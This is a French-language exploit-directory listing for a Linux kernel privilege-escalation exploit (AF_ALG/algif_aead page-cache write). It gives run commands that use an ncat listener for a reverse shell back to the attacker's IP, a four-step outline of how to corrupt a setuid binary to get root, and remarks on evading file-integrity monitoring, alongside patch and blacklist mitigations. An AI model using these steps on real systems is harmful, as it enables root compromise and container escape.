Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431-RCE-Exploit — Exploit d'élévation de privilèges locale pour CVE-2026-31431, une faille logique AF_ALG du noyau Linux permettant aux utilisateurs non privilégiés d'écrire 4 octets dans le cache de pages et d'obtenir les droits root. Inclut un script PoC et des recommandations d'atténuation. | Kitploit
Outils/GitHubGitHub/m4xsec/cve-2026-31431-rce-exploit
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationRed TeamingÉvasion de ConteneurExploitation de Binaires
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
m4xsec/cve-2026-31431-rce-exploit

CVE-2026-31431-RCE-Exploit

Exploit d'élévation de privilèges locale pour CVE-2026-31431, une faille logique AF_ALG du noyau Linux permettant aux utilisateurs non privilégiés d'écrire 4 octets dans le cache de pages et d'obtenir les droits root. Inclut un script PoC et des recommandations d'atténuation.

Voir le dépôt
7248il y a 5 moisPas encore vérifié

🔴 CVE-2026-31431 — « Copy Fail »

Un bug logique du noyau Linux vieux de 9 ans qui accorde les droits root en quelques secondes

CVE CVSS Kernel Since


Vue d'ensemble

Copy Fail est une vulnérabilité d'élévation de privilèges locale (LPE) de haute sévérité dans le sous-système cryptographique du noyau Linux (algif_aead). Découverte et divulguée par Theori (via son outil de recherche de vulnérabilités assisté par IA Xint Code) le 29 avril 2026, cette faille permet à tout utilisateur local non privilégié d'écrire 4 octets contrôlés dans le cache de pages de n'importe quel fichier lisible — et d'en tirer parti pour obtenir les droits root sur pratiquement toutes les distributions Linux majeures publiées depuis 2017.

Un exploit proof-of-concept fonctionnel ne fait que ~732 octets de Python.


Exploitation

  1. Démarrer un écouteur Ncat
sudo ncat -lvnp PORT
  1. Exécuter l'exploit sur la machine cible
# Avec le script Python
python3 CVE-2026-31431-Exploit.py IP PORT

# Binaire compilé
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT

🧬 Résumé technique

ChampDétail
ID CVECVE-2026-31431
Score CVSS7.8 (ÉLEVÉ)
TypeÉlévation de privilèges locale (LPE)
Composantalgif_aead — interface crypto utilisateur AF_ALG du noyau Linux
Cause racineDéfaut logique dans le modèle AEAD authencesn ; une optimisation in-place (commit 72548b093ee3, août 2017) fait apparaître les pages du cache de pages dans la liste scatterlist de destination inscriptible du noyau
PrimitiveÉcriture contrôlée de 4 octets dans le cache de pages de n'importe quel fichier lisible
Mécanisme d'exploitationSocket AF_ALG → splice() → corruption du cache de pages d'un binaire setuid → root
Condition de course ?❌ Aucune — défaut logique direct, fiable à 100 %
Offset du noyau nécessaire ?❌ Non
Commit de correctiffafe0fa2995a (annule l'optimisation de 2017)

Comment fonctionne l'exploit (4 étapes)

  1. Ouvrir un socket AF_ALG et le lier à authencesn(hmac(sha256),cbc(aes))
  2. Splicer les pages d'un binaire setuid lisible dans le socket
  3. L'écriture de brouillon AEAD du noyau écrase 4 octets dans le cache de pages de ce binaire
  4. Exécuter le binaire setuid désormais corrompu → shell root

Pourquoi c'est dangereux

  • Aucune fenêtre de course — déterministe, fonctionne à chaque fois
  • Aucun offset du noyau / contournement KASLR nécessaire
  • Le même exploit fonctionne sur toutes les distributions — Ubuntu, RHEL, Amazon Linux, SUSE, Rocky, etc.
  • Évasion de conteneur — le cache de pages est partagé ; une écriture depuis un conteneur affecte l'hôte
  • Aucune modification sur disque — les moniteurs d'intégrité de fichiers (AIDE, OSSEC, etc.) ne le détecteront pas
  • Aucune trace forensique sur disque

🎯 Versions affectées

AffectéesNon affectées
Noyau Linux 4.14 jusqu'à 7.0-rcNoyaux antérieurs à 4.14 (avant le commit d'août 2017)
Toutes les 6.18.x antérieures à 6.18.226.18.22+ (corrigées)
Toutes les 6.19.x antérieures à 6.19.126.19.12+ (corrigées)

Distributions vulnérables confirmées

  • Ubuntu 24.04 LTS
  • Amazon Linux 2023
  • RHEL 10.1
  • SUSE 16
  • Rocky Linux 9.7

Essentiellement toute distribution Linux majeure publiée depuis 2017 est affectée.


🛡️ Atténuation

1. Correctif (recommandé)

Mettez à jour votre noyau vers une version contenant le commit de correctif fafe0fa2995a. La plupart des distributions majeures ont publié ou publient des paquets de noyau mis à jour.

2. Contournements temporaires

Si vous ne pouvez pas appliquer le correctif immédiatement :

  • Bloquer la création de sockets AF_ALG via une politique seccomp
  • Mettre sur liste noire le module algif_aead :
    echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
    sudo modprobe -r algif_aead 2>/dev/null
    

⚠️ Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et défensives. Les informations fournies ici visent à aider les équipes de sécurité à comprendre, détecter et atténuer CVE-2026-31431. Respectez toujours les pratiques de divulgation responsable et les lois applicables.


⭐ Mettez une étoile à ce dépôt pour rester informé des correctifs et des conseils de détection.

Télécharger l’outil